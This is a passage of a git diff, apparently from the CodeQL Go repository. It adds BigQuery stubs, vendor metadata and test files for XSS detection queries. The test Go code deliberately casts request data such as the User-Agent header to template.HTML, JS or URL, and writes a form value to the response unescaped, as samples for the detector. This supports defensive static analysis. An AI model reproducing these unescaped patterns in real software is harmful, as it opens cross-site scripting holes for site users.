ModelIterator struct{} + +func (_ *ModelIterator) Next() (*Model, error) { + return nil, nil +} + +func (_ *ModelIterator) PageInfo() interface{} { + return nil +} + +type ModelMetadata struct { + Description string + Name string + Type string + CreationTime time.Time + LastModifiedTime time.Time + ExpirationTime time.Time + Location string + EncryptionConfig *EncryptionConfig + Labels map[string]string + ETag string +} + +func (_ *ModelMetadata) RawFeatureColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawLabelColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawTrainingRuns() []*TrainingRun { + return nil +} + +type ModelMetadataToUpdate struct { + Description interface{} + Name interface{} + ExpirationTime time.Time + EncryptionConfig *EncryptionConfig +} + +func (_ *ModelMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *ModelMetadataToUpdate) SetLabel(_ string, _ string) {} + +type ParquetOptions struct { + EnumAsString bool + EnableListInference bool +} + +type PolicyTagList struct { + Names []string +} + +type PrimaryKey struct { + Columns []string +} + +type Query struct { + JobIDConfig + QueryConfig +} + +func (_ *Query) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Query) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type QueryConfig struct { + Dst *Table + Q string + DefaultProjectID string + DefaultDatasetID string + TableDefinitions map[string]ExternalData + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + DisableQueryCache bool + DisableFlattenedResults bool + AllowLargeResults bool + Priority QueryPriority + MaxBillingTier int + MaxBytesBilled int64 + UseStandardSQL bool + UseLegacySQL bool + Parameters []QueryParameter + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + Labels map[string]string + DryRun bool + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + CreateSession bool + ConnectionProperties []*ConnectionProperty + JobTimeout time.Duration + Reservation string +} + +type QueryParameter struct { + Name string + Value interface{} +} + +type QueryPriority string + +type RangeElementType struct { + Type FieldType +} + +type RangePartitioning struct { + Field string + Range *RangePartitioningRange +} + +type RangePartitioningRange struct { + Start int64 + End int64 + Interval int64 +} + +type RemoteFunctionOptions struct { + Connection string + Endpoint string + MaxBatchingRows int64 + UserDefinedContext map[string]string +} + +type ReservationEdition string + +type ReservationUsage struct { + SlotMillis int64 + Name string +} + +type RoundingMode string + +type Routine struct { + ProjectID string + DatasetID string + RoutineID string +} + +func (_ *Routine) Create(_ context.Context, _ *RoutineMetadata) error { + return nil +} + +func (_ *Routine) Delete(_ context.Context) error { + return nil +} + +func (_ *Routine) FullyQualifiedName() string { + return "" +} + +func (_ *Routine) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Routine) Metadata(_ context.Context) (*RoutineMetadata, error) { + return nil, nil +} + +func (_ *Routine) Update(_ context.Context, _ *RoutineMetadataToUpdate, _ string) (*RoutineMetadata, error) { + return nil, nil +} + +type RoutineArgument struct { + Name string + Kind string + Mode string + DataType *StandardSQLDataType +} + +type RoutineDeterminism string + +type RoutineIterator struct{} + +func (_ *RoutineIterator) Next() (*Routine, error) { + return nil, nil +} + +func (_ *RoutineIterator) PageInfo() interface{} { + return nil +} + +type RoutineMetadata struct { + ETag string + Type string + CreationTime time.Time + Description string + DeterminismLevel RoutineDeterminism + LastModifiedTime time.Time + Language string + Arguments []*RoutineArgument + RemoteFunctionOptions *RemoteFunctionOptions + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + ImportedLibraries []string + Body string + DataGovernanceType string +} + +type RoutineMetadataToUpdate struct { + Arguments []*RoutineArgument + Description interface{} + DeterminismLevel interface{} + Type interface{} + Language interface{} + Body interface{} + ImportedLibraries []string + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + DataGovernanceType interface{} +} + +type RowIterator struct { + StartIndex uint64 + Schema Schema + TotalRows uint64 +} + +func (_ *RowIterator) ArrowIterator() (ArrowIterator, error) { + return nil, nil +} + +func (_ *RowIterator) IsAccelerated() bool { + return false +} + +func (_ *RowIterator) Next(_ interface{}) error { + return nil +} + +func (_ *RowIterator) PageInfo() interface{} { + return nil +} + +func (_ *RowIterator) QueryID() string { + return "" +} + +func (_ *RowIterator) SourceJob() *Job { + return nil +} + +type Schema []*FieldSchema + +func (_ Schema) Relax() Schema { + return nil +} + +func (_ Schema) ToJSONFields() ([]byte, error) { + return nil, nil +} + +type ScriptStackFrame struct { + StartLine int64 + StartColumn int64 + EndLine int64 + EndColumn int64 + ProcedureID string + Text string +} + +type ScriptStatistics struct { + EvaluationKind string + StackFrames []*ScriptStackFrame +} + +type SessionInfo struct { + SessionID string +} + +type SnapshotDefinition struct { + BaseTableReference *Table + SnapshotTime time.Time +} + +type StandardSQLDataType struct { + ArrayElementType *StandardSQLDataType + RangeElementType *StandardSQLDataType + StructType *StandardSQLStructType + TypeKind string +} + +type StandardSQLField struct { + Name string + Type *StandardSQLDataType +} + +type StandardSQLStructType struct { + Fields []*StandardSQLField +} + +type StandardSQLTableType struct { + Columns []*StandardSQLField +} + +type State int + +type Statistics interface{} + +type StreamingBuffer struct { + EstimatedBytes uint64 + EstimatedRows uint64 + OldestEntryTime time.Time +} + +type Table struct { + ProjectID string + DatasetID string + TableID string +} + +func (_ *Table) CopierFrom(_ ...*Table) *Copier { + return nil +} + +func (_ *Table) Create(_ context.Context, _ *TableMetadata) error { + return nil +} + +func (_ *Table) Delete(_ context.Context) error { + return nil +} + +func (_ *Table) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Table) FullyQualifiedName() string { + return "" +} + +func (_ *Table) IAM() interface{} { + return nil +} + +func (_ *Table) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Table) Inserter() *Inserter { + return nil +} + +func (_ *Table) LoaderFrom(_ LoadSource) *Loader { + return nil +} + +func (_ *Table) Metadata(_ context.Context, _ ...TableMetadataOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Read(_ context.Context) *RowIterator { + return nil +} + +func (_ *Table) Update(_ context.Context, _ TableMetadataToUpdate, _ string, _ ...TableUpdateOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Uploader() *Inserter { + return nil +} + +type TableConstraints struct { + PrimaryKey *PrimaryKey + ForeignKeys []*ForeignKey +} + +type TableCopyOperationType string + +type TableCreateDisposition string + +type TableIterator struct{} + +func (_ *TableIterator) Next() (*Table, error) { + return nil, nil +} + +func (_ *TableIterator) PageInfo() interface{} { + return nil +} + +type TableMetadata struct { + Name string + Location string + Description string + Schema Schema + MaterializedView *MaterializedViewDefinition + ViewQuery string + UseLegacySQL bool + UseStandardSQL bool + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + RequirePartitionFilter bool + Clustering *Clustering + ExpirationTime time.Time + Labels map[string]string + ExternalDataConfig *ExternalDataConfig + EncryptionConfig *EncryptionConfig + FullID string + Type TableType + CreationTime time.Time + LastModifiedTime time.Time + NumBytes int64 + NumLongTermBytes int64 + NumRows uint64 + SnapshotDefinition *SnapshotDefinition + CloneDefinition *CloneDefinition + StreamingBuffer *StreamingBuffer + ETag string + DefaultCollation string + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +type TableMetadataOption func(interface{}) + +type TableMetadataToUpdate struct { + Description interface{} + Name interface{} + Schema Schema + Clustering *Clustering + EncryptionConfig *EncryptionConfig + ExpirationTime time.Time + ExternalDataConfig *ExternalDataConfig + ViewQuery interface{} + UseLegacySQL interface{} + MaterializedView *MaterializedViewDefinition + TimePartitioning *TimePartitioning + RequirePartitionFilter interface{} + DefaultCollation interface{} + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +func (_ *TableMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *TableMetadataToUpdate) SetLabel(_ string, _ string) {} + +type TableType string + +type TableUpdateOption func(interface{}) + +type TableWriteDisposition string + +type TimePartitioning struct { + Type TimePartitioningType + Expiration time.Duration + Field string + RequirePartitionFilter bool +} + +type TimePartitioningType string + +type TrainingRun struct { + ClassLevelGlobalExplanations []interface{} + DataSplitResult interface{} + EvaluationMetrics interface{} + ModelLevelGlobalExplanation interface{} + Results []interface{} + StartTime string + TrainingOptions interface{} + TrainingStartTime int64 + VertexAiModelId string + VertexAiModelVersion string + ForceSendFields []string + NullFields []string +} + +type TransactionInfo struct { + TransactionID string +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt new file mode 100644 index 00000000000..1c7d4c63081 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt @@ -0,0 +1,129 @@ +# cloud.google.com/go/bigquery v1.68.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go v0.121.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go/auth v0.16.1 +## explicit +cloud.google.com/go/auth +# cloud.google.com/go/auth/oauth2adapt v0.2.8 +## explicit +cloud.google.com/go/auth/oauth2adapt +# cloud.google.com/go/compute/metadata v0.6.0 +## explicit +cloud.google.com/go/compute/metadata +# cloud.google.com/go/iam v1.5.2 +## explicit +cloud.google.com/go/iam +# github.com/apache/arrow/go/v15 v15.0.2 +## explicit +github.com/apache/arrow/go/v15 +# github.com/felixge/httpsnoop v1.0.4 +## explicit +github.com/felixge/httpsnoop +# github.com/go-logr/logr v1.4.2 +## explicit +github.com/go-logr/logr +# github.com/go-logr/stdr v1.2.2 +## explicit +github.com/go-logr/stdr +# github.com/goccy/go-json v0.10.2 +## explicit +github.com/goccy/go-json +# github.com/google/flatbuffers v23.5.26+incompatible +## explicit +github.com/google/flatbuffers +# github.com/google/s2a-go v0.1.9 +## explicit +github.com/google/s2a-go +# github.com/google/uuid v1.6.0 +## explicit +github.com/google/uuid +# github.com/googleapis/enterprise-certificate-proxy v0.3.6 +## explicit +github.com/googleapis/enterprise-certificate-proxy +# github.com/googleapis/gax-go/v2 v2.14.1 +## explicit +github.com/googleapis/gax-go/v2 +# github.com/klauspost/compress v1.16.7 +## explicit +github.com/klauspost/compress +# github.com/klauspost/cpuid/v2 v2.2.5 +## explicit +github.com/klauspost/cpuid/v2 +# github.com/pierrec/lz4/v4 v4.1.18 +## explicit +github.com/pierrec/lz4/v4 +# github.com/zeebo/xxh3 v1.0.2 +## explicit +github.com/zeebo/xxh3 +# go.opentelemetry.io/auto/sdk v1.1.0 +## explicit +go.opentelemetry.io/auto/sdk +# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc +# go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp +# go.opentelemetry.io/otel v1.35.0 +## explicit +go.opentelemetry.io/otel +# go.opentelemetry.io/otel/metric v1.35.0 +## explicit +go.opentelemetry.io/otel/metric +# go.opentelemetry.io/otel/trace v1.35.0 +## explicit +go.opentelemetry.io/otel/trace +# golang.org/x/crypto v0.37.0 +## explicit +golang.org/x/crypto +# golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 +## explicit +golang.org/x/exp +# golang.org/x/mod v0.23.0 +## explicit +golang.org/x/mod +# golang.org/x/net v0.39.0 +## explicit +golang.org/x/net +# golang.org/x/oauth2 v0.29.0 +## explicit +golang.org/x/oauth2 +# golang.org/x/sync v0.14.0 +## explicit +golang.org/x/sync +# golang.org/x/sys v0.32.0 +## explicit +golang.org/x/sys +# golang.org/x/text v0.24.0 +## explicit +golang.org/x/text +# golang.org/x/time v0.11.0 +## explicit +golang.org/x/time +# golang.org/x/tools v0.30.0 +## explicit +golang.org/x/tools +# golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da +## explicit +golang.org/x/xerrors +# google.golang.org/api v0.231.0 +## explicit +google.golang.org/api +# google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb +## explicit +google.golang.org/genproto +# google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/api +# google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/rpc +# google.golang.org/grpc v1.72.0 +## explicit +google.golang.org/grpc +# google.golang.org/protobuf v1.36.6 +## explicit +google.golang.org/protobuf diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 00000000000..84099f5dd29 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 64% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go index de353c861cf..5ff36d0a8bc 100644 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) @@ -26,45 +24,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref new file mode 100644 index 00000000000..9ea7791dff2 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -0,0 +1,4 @@ +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b..91b39e0e2a0 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf | diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598..fe6f5844998 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref 